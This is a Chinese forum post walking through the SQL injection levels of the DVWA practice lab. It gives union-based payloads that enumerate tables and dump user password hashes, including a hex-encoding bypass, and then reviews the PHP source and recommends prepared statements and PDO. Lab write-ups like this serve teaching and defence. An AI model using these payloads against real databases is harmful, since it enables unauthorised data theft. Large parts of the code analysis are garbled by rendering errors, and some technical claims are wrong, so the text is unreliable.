DVWA靶场通关——SQL Injection篇

打印 上一主题 下一主题

主题 1002|帖子 1002|积分 3006

一,Low难度下union+get+字符串+select****注入
1,起首手工注入判断是否存在SQL注入漏洞,输入1

这是正常回显的效果,再键入1’
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’’ at line 1
发生报错,再键入1"

效果并不报错,这阐明单引号的存在破坏了原有语句的闭合;双引号就没有破坏,被当成字符串内容实行。那么推断闭合方式为单引号
2,猜测这是一个经典sql查询语句。通过order by判断至少存在几个字段
1’ order by 2#

至少存在两个字段,
1’ order by 3#

不存在第三个字段,那么就只有两个字段
3,接着使用union操作符判断回显点 1’ union select 1,2#

由此可以看到存在两个回显点,接着参考数据库名和版本
1’ union select database(),version()#

4,对查询语句的限制并不多,可以用union语句开始爆库。
1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

使用user表,再报user表下字段名
1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’#

5,最后就爆破出用户和暗码字段的内容了,而且使它们成对显示
1’ union select user,password from users#

由此,成功通关
查察并分析源码内容
该PHP代码段的紧张功能是根据用户输入的id从数据库中查询用户的first_name和last_name,并将效果显示给用户。代码支持两种数据库:MySQL和SQLite。
代码结构

  • 输入处置处罚:通过$_REQUEST[‘Submit’]判断是否提交了表单,并获取用户输入的id。
  • 数据库选择:根据$_DVWA[‘SQLI_DB’]的值选择使用MySQL还是SQLite。
  • 查询实行

    • MySQL:使用mysqli_query实行SQL查询,并通过mysqli_fetch_assoc获取效果。
    • SQLite:使用SQLite3对象实行查询,并通过fetchArray获取效果。

  • 效果显示:将查询效果格式化为HTML并输出。
安全题目
该代码存在严重的SQL注入漏洞,紧张题目在于用户输入的id直接拼接到SQL查询语句中,未进行任何过滤或转义处置处罚。攻击者可以通过构造恶意输入来实行任意SQL命令,从而获取或篡改数据库中的数据。
改进建议

  • 使用预处置处罚语句:对于MySQL,可以使用mysqli_prepare和mysqli_stmt_bind_param来防止SQL注入。对于SQLite,可以使用SQLite3Stmt类。
  • 输入验证和过滤:对用户输入进行严格的验证和过滤,确保输入的id是合法的整数。
  • 错误处置处罚:改进错误处置处罚机制,避免在生产情况中袒露具体的错误信息。
查察源码查询语句
KaTeX parse error: Expected group as argument to '\=' at position 69: …ERE user\_id \= ̲'id’;";
                                    r                         e                         s                         u                         l                         t                         =                         m                         y                         s                         q                         l                         i                         _                         q                         u                         e                         r                         y                         (                              result = mysqli\_query(                  result=mysqli_query(GLOBALS[“___mysqli_ston”],                                    q                         u                         e                         r                         y                         )                         o                         r                         d                         i                         e                                   (                            ′                                  <                         p                         r                         e                                   >                            ′                                  .                         (                         (                         i                         s                         _                         o                         b                         j                         e                         c                         t                         (                              query ) or die( '<pre>' . ((is\_object(                  query)ordie(′<pre>′.((is_object(GLOBALS[“___mysqli_ston”])) mysqli_error(KaTeX parse error: Undefined control sequence: \[ at position 8: GLOBALS\̲[̲"\_\_\_mysqli\_…___mysqli_res = mysqli_connect_error()) $___mysqli_res : false)) . ‘’ );
这段代码是一个使用PHP和MySQL进行数据库查询的示例。它从users表中选择first_name和last_name,条件是user_id等于变量$id的值。
潜伏的安全题目
该代码存在SQL注入的潜伏风险,因为                                   i                         d                         变量直接嵌入到                         S                         Q                         L                         查询字符串中,没有进行任何情势的转义或预处置处罚。如果                              id变量直接嵌入到SQL查询字符串中,没有进行任何情势的转义或预处置处罚。如果                  id变量直接嵌入到SQL查询字符串中,没有进行任何情势的转义或预处置处罚。如果id的值来自用户输入,攻击者可以通过构造恶意输入来实行任意SQL命令。
改进建议
为了防止SQL注入,建议使用预处置处罚语句(Prepared Statements)和参数绑定。以下是改进后的代码示例:
                                    s                         t                         m                         t                         =                         m                         y                         s                         q                         l                         i                         _                         p                         r                         e                         p                         a                         r                         e                         (                              stmt = mysqli\_prepare(                  stmt=mysqli_prepare(GLOBALS[“___mysqli_ston”], “SELECT first_name, last_name FROM users WHERE user_id = “);
mysqli_stmt_bind_param($stmt, “i”,                                    i                         d                         )                         ;                         m                         y                         s                         q                         l                         i                         _                         s                         t                         m                         t                         _                         e                         x                         e                         c                         u                         t                         e                         (                              id); mysqli\_stmt\_execute(                  id);mysqli_stmt_execute(stmt);
                                    r                         e                         s                         u                         l                         t                         =                         m                         y                         s                         q                         l                         i                         _                         s                         t                         m                         t                         _                         g                         e                         t                         _                         r                         e                         s                         u                         l                         t                         (                              result = mysqli\_stmt\_get\_result(                  result=mysqli_stmt_get_result(stmt);
if (!KaTeX parse error: Expected '}', got 'EOF' at end of input: … mysqli\_error(GLOBALS[”___mysqli_ston”]) . ‘’);
}
解释

  • 预处置处罚语句:mysqli_prepare函数创建一个预处置处罚语句,此中是占位符,用于替换实际的参数。
  • 参数绑定:mysqli_stmt_bind_param函数将变量                                        i                            d                            绑定到预处置处罚语句中的占位符。                            "                            i                            "                            表示                                  id绑定到预处置处罚语句中的占位符。"i"表示                     id绑定到预处置处罚语句中的占位符。"i"表示id是一个整数。
  • 实行语句:mysqli_stmt_execute函数实行预处置处罚语句。
  • 获取效果:mysqli_stmt_get_result函数获取查询效果。
  • 错误处置处罚:如果查询失败,使用mysqli_error函数获取错误信息并停止脚本。
通过这种方式,可以有效防止SQL注入攻击,进步代码的安全性。
二,Medium难度下union+post+整数型+select注入
1,该网页仅允许我们通过下拉表单的格式提交数据

2,可以挂上burpsuite拦截一个包分析一下,

3,那么就可以知到网页使用POST哀求方式提交查询语句,而且固定格式为id=表达数据&Submit=Submit。那么这个POST型注入可以用两种工具解:burp suite和hackbar。为了简单这里使用hackbar
判断闭合方式,输入1’
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’ at line 1
发生报错,再输入1"还是发生报错。当知道是下拉表达方式提交数据,实在就能判断出是数字型注入了
4,order by操作符判断数据表有几列
id=1 order by 2&Submit=Submit

正常回显,证实至少有2列。id=1 order by 3&Submit=Submit

发生报错,阐明数据表只有两列
5,union操作符确定回显位置 id=1 union select 1,2&Submit=Submit

由此就知道了1,2两个位置都能正常回显数据,再爆出数据库名和数据库版本
id=1 union select database(),version()&Submit=Submit

6,开始爆破数据库中数据表名。
id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()&Submit=Submit

从users数据表内里爆出所有字段名
id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’&Submit=Submit
发生报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘users’’ at line 1
错误信息提示在’‘users’'附近有语法题目,可以尝试将users经十六进制编码为0x7573657273以绕过对表名的过滤
id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273&Submit=Submit

再爆出user,password数据而且使其成对显示
id=1 union select user,password from users&Submit=Submit

成功爆出账户和暗码信息
查察并分析源码内容

  • 表单提交处置处罚

    • 代码起首查抄是否提交了表单(通过$_POST[‘Submit’]是否设置来判断)。
    • 如果表单提交,获取用户输入的id,并使用mysqli_real_escape_string函数对输入进行转义,以防止SQL注入。

  • 数据库查询

    • 根据$_DVWA[‘SQLI_DB’]的值(MYSQL或SQLITE),代码分别处置处罚MySQL和SQLite数据库的查询。
    • 对于MySQL数据库,使用mysqli_query实行查询,并使用mysqli_fetch_assoc获取效果。
    • 对于SQLite数据库,使用$sqlite_db_connection->query实行查询,并使用fetchArray获取效果。

  • 效果显示

    • 查询效果通过循环遍历,将每个用户的first_name和last_name格式化后显示在页面上。

  • 统计用户数目

    • 代码最后实行一个查询,统计users表中的用户总数,并将效果存储在$number_of_rows变量中。

  • 数据库连接关闭

    • 代码在最后关闭了MySQL数据库连接(mysqli_close)。

改进建议

  • 使用预处置处罚语句

    • 对于MySQL,建议使用mysqli_prepare和mysqli_stmt_bind_param来实行查询。
    • 对于SQLite,可以使用sqlite3_prepare和sqlite3_bind_param。

  • 错误处置处罚

    • 在生产情况中,建议捕捉异常并记录日志,而不是直接输堕落误信息。

  • 代码结构优化

    • 将数据库连接和查询逻辑封装到函数或类中,进步代码的可维护性和可读性。

medium难度和lowphp****源码相比
输入处置处罚方式
在第一段代码中,                                   i                         d                         变量直接从                              id变量直接从                  id变量直接从_REQUEST数组中获取,而且没有进行任何转义或过滤处置处罚。这意味着$id变量可能包含用户输入的恶意数据,存在SQL注入风险。
$id = $_REQUEST[ ‘id’ ];
在第二段代码中,                                   i                         d                         变量同样从                              id变量同样从                  id变量同样从_POST数组中获取,但在传递给SQL查询之前,使用mysqli_real_escape_string函数对其进行了转义处置处罚,从而减少了SQL注入的风险。
$id = $_POST[ ‘id’ ];
                                    i                         d                         =                         m                         y                         s                         q                         l                         i                         _                         r                         e                         a                         l                         _                         e                         s                         c                         a                         p                         e                         _                         s                         t                         r                         i                         n                         g                         (                              id = mysqli\_real\_escape\_string(                  id=mysqli_real_escape_string(GLOBALS[“___mysqli_ston”], $id);
SQL查询语句
在第一段代码中,SQL查询语句直接将$id变量嵌入到字符串中,这可能导致SQL注入攻击。
                                    q                         u                         e                         r                         y                         =                         "                         S                         E                         L                         E                         C                         T                         f                         i                         r                         s                         t                         _                         n                         a                         m                         e                         ,                         l                         a                         s                         t                         _                         n                         a                         m                         e                         F                         R                         O                         M                         u                         s                         e                         r                         s                         W                         H                         E                         R                         E                         u                         s                         e                         r                         _                         i                         d                                   =                            ′                                       query = "SELECT first\_name, last\_name FROM users WHERE user\_id = '                  query="SELECTfirst_name,last_nameFROMusersWHEREuser_id=′id’;";
在第二段代码中,SQL查询语句将$id变量作为参数传递,而不是直接嵌入到字符串中,这使得SQL注入攻击更难以成功。
$query = “SELECT first_name, last_name FROM users WHERE user_id = $id;”;
数据库连接关闭
两段代码在处置处罚完数据库查询后都关闭了数据库连接,这一点是雷同的。
mysqli_close($GLOBALS[“___mysqli_ston”]);
总结


  • 安全性:第二段代码通过使用mysqli_real_escape_string函数对用户输入进行转义处置处罚,显著进步了代码的安全性,减少了SQL注入的风险。
  • 输入来源:第一段代码从                                        _                            R                            E                            Q                            U                            E                            S                            T                            数组中获取输入,而第二段代码从                                  \_REQUEST数组中获取输入,而第二段代码从                     _REQUEST数组中获取输入,而第二段代码从_POST数组中获取输入,后者更明白地限制了输入来源。
  • SQL查询:第二段代码的SQL查询语句更安全,因为它避免了直接将用户输入嵌入到查询字符串中。
三,low难度下
1,观察一下页面,发现是给定一个弹窗让我们change ID

直接输入1的效果如下

burpsuite拦截直接抓个包看看

当我在弹窗内里输入1测试,发现提交哀求方式酿成了POST

2,判断一下字符串闭合方式,输入1’

发生报错,再输入1"

没有发生报错,那么猜测为闭合方式为单引号(输入1’#就能不报错证实)

3,order by判断存在字段数 1’ order by 2#

证实至少有2列存在,再输入 1’ order by 3#

那么该数据表就只有两列
4,union操作符判断数据回显位置

回显位置存在两个,爆一下数据库名和数据库版本
1’ union select database(),version()#

5,爆出数据表名
1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

再爆数据库名
1’ union select 1,group_concat(column_name) from information_schema.columns where column_name=‘users’#

爆出用户名和暗码
1’ union select user,password from users #

成功通关
查察并分析源码内容
安全性题目

  • SQL注入漏洞:代码中直接将用户输入的$id变量插入到SQL查询中,存在SQL注入风险。攻击者可以通过构造恶意输入来实行任意SQL命令。
                                             q                            u                            e                            r                            y                            =                            "                            S                            E                            L                            E                            C                            T                            f                            i                            r                            s                            t                            _                            n                            a                            m                            e                            ,                            l                            a                            s                            t                            _                            n                            a                            m                            e                            F                            R                            O                            M                            u                            s                            e                            r                            s                            W                            H                            E                            R                            E                            u                            s                            e                            r                            _                            i                            d                                       =                               ′                                            query = "SELECT first\_name, last\_name FROM users WHERE user\_id = '                     query="SELECTfirst_name,last_nameFROMusersWHEREuser_id=′id’ LIMIT 1;";
    办理方法:使用预处置处罚语句(Prepared Statements)来防止SQL注入。
  • 错误信息袒露:代码中直接将数据库错误信息输出到前端,可能会袒露敏感信息给攻击者。
    or die( ‘
    1. Something went wrong.
    复制代码
    ’ );
    办理方法:记录错误信息到日志文件,而不是直接输出到前端。
代码优化建议

  • 代码格式化:代码中的双括号{{和}}是多余的,可以删除以进步代码可读性。
  • 错误处置处罚:在SQLite部门,错误处置处罚不敷美满,可以改进以提供更具体的错误信息。
  • 数据库连接管理:在MySQL部门,数据库连接的关闭操作可以更简洁地实现。
四,impossible难度下
<<DVWA靶场——impossible难度SQL注入的源码分析.md>>
代码功能概述
该PHP代码的紧张功能是根据用户提供的id参数,从数据库中查询对应的用户信息(包罗first_name和last_name),并将查询效果显示给用户。代码支持两种数据库类型:MySQL和SQLite。
安全措施

  • Anti-CSRF Token: 代码中使用了checkToken函数来验证用户提交的user_token是否与session_token匹配,以防止跨站哀求伪造(CSRF)攻击。
  • 输入验证: 代码通过is_numeric函数查抄id是否为数字,并使用intval将其转换为整数,以防止SQL注入攻击。
  • 参数化查询: 无论是MySQL还是SQLite,代码都使用了参数化查询(Prepared Statements)来实行SQL查询,进一步防止SQL注入攻击。
数据库操作

  • MySQL:

    • 使用PDO(PHP Data Objects)进行数据库操作。
    • 通过bindParam方法将id参数绑定到SQL查询中。
    • 实行查询后,查抄返回的行数是否为1,以确保只返回一条记录。

  • SQLite:

    • 使用SQLite3扩展进行数据库操作。
    • 通过bindValue方法将id参数绑定到SQL查询中。
    • 由于SQLite3没有直接获取行数的方法,代码通过查抄返回的列数来确保查询效果的精确性。

输出效果


  • 如果查询成功,代码将用户的id、first_name和last_name以HTML格式输出到页面上。
  • 如果查询失败或没有找到匹配的记录,代码不会输出任何信息。
数据库PDO技术
根据搜刮效果,我们可以相识到,PDO(PHP Data Objects)是PHP中用于数据库操作的一种技术。以下是对数据库PDO技术的具体介绍:
1.什么是PDO?
PDO是PHP内置的一个数据库抽象层,它提供了一个统一的数据库访问接口,支持多种数据库管理系统(如MySQL、PostgreSQL等)。使用PDO,开发者可以更轻松地连接数据库、实行查询,并处置处罚效果集。
2.安装和配置PDO
在使用PDO之前,需要确保PHP情况中已启用PDO扩展。通常,PDO是PHP默认安装的一部门,但可以在php.ini文件中查抄以下行是否被解释:
extension=pdo_mysql
3.建立数据库连接
使用PDO连接数据库非常简单。以下是一个基本的连接示例:
try {$pdo = new PDO(‘mysql:host=localhost;dbname=testdb’, ‘username’, ‘password’);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOException $e) {
echo '连接失败: ’ . $e->getMessage();
}
在这个示例中,我们使用mysql:host和dbname来指定命据库的主机和名称,并设置错误模式,以便捕捉异常。
4.使用预处置处罚语句防止SQL注入
为了安全地实行数据库操作,建议使用预处置处罚语句。预处置处罚语句允许我们在实行查询时将参数绑定,从而避免SQL注入攻击。以下是一个INSERT语句的示例:
$stmt = $pdo->prepare(‘INSERT INTO users (name, email) VALUES (:name, :email)’);
$stmt->execute([‘name’ => $userName, ‘email’ => $userEmail]);
在这个示例中,:name和:email是参数占位符,实际的值在实行时通过关联数组传入。
5.更新和删除数据
更新和删除数据同样可以使用预处置处罚语句。例如:
// 更新用户信息
$stmt = $pdo->prepare(‘UPDATE users SET email=:email WHERE name=:name’);
$stmt->execute([‘email’ => $newEmail, ‘name’ => $userName]);
// 删除用户
$stmt = $pdo->prepare(‘DELETE FROM users WHERE name=:name’);
$stmt->execute([‘name’ => $userName]);
6.事务处置处罚
在涉及多个数据库操作时,使用事务可以确保数据同等性。如果此中一条操作失败,可以回滚所有操作。以下是事务处置处罚的示例:
try {// 开始事务
$pdo->beginTransaction();
// 实行多个操作
$stmt1 = $pdo->prepare(‘INSERT INTO users (name, email) VALUES (:name, :email)’);
$stmt1->execute([‘name’ => ‘Alice’, ‘email’ => ‘alice@example.com’]);
$stmt2 = $pdo->prepare(‘INSERT INTO orders (user_id, product) VALUES (:user_id, :product)’);
$stmt2->execute([‘user_id’ => $pdo->lastInsertId(), ‘product’ => ‘Product A’]);
// 提交事务
$pdo->commit();
} catch (Exception $e) {
// 回滚事务
$pdo->rollBack();
echo '操作失败: ’ . $e->getMessage();
}
在这个示例中,我们开始一个事务并实行多个操作。如果任何一条操作失败,我们将回滚事务,确保数据的同等性。
7.错误处置处罚
PDO提供了强大的错误处置处罚机制。可以通过设置错误模式来捕捉异常,确保我们能实时处置处罚错误:
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
try {// 数据库操作
} catch (PDOException $e) {
echo '数据库错误: ’ . $e->getMessage();
}
8.最佳实践


  • 使用参数化查询:总是使用预处置处罚语句来实行查询,以避免SQL注入。
  • 确保精确配置数据库连接和错误处置处罚。
  • 使用事务处置处罚来确保数据同等性。
通过以上介绍,我们可以看到PDO技术在PHP数据库操作中的紧张性和实用性。它不但简化了数据库操作,还提供了安全的机制来防止SQL注入和其他潜伏的安全题目。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

天津储鑫盛钢材现货供应商

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表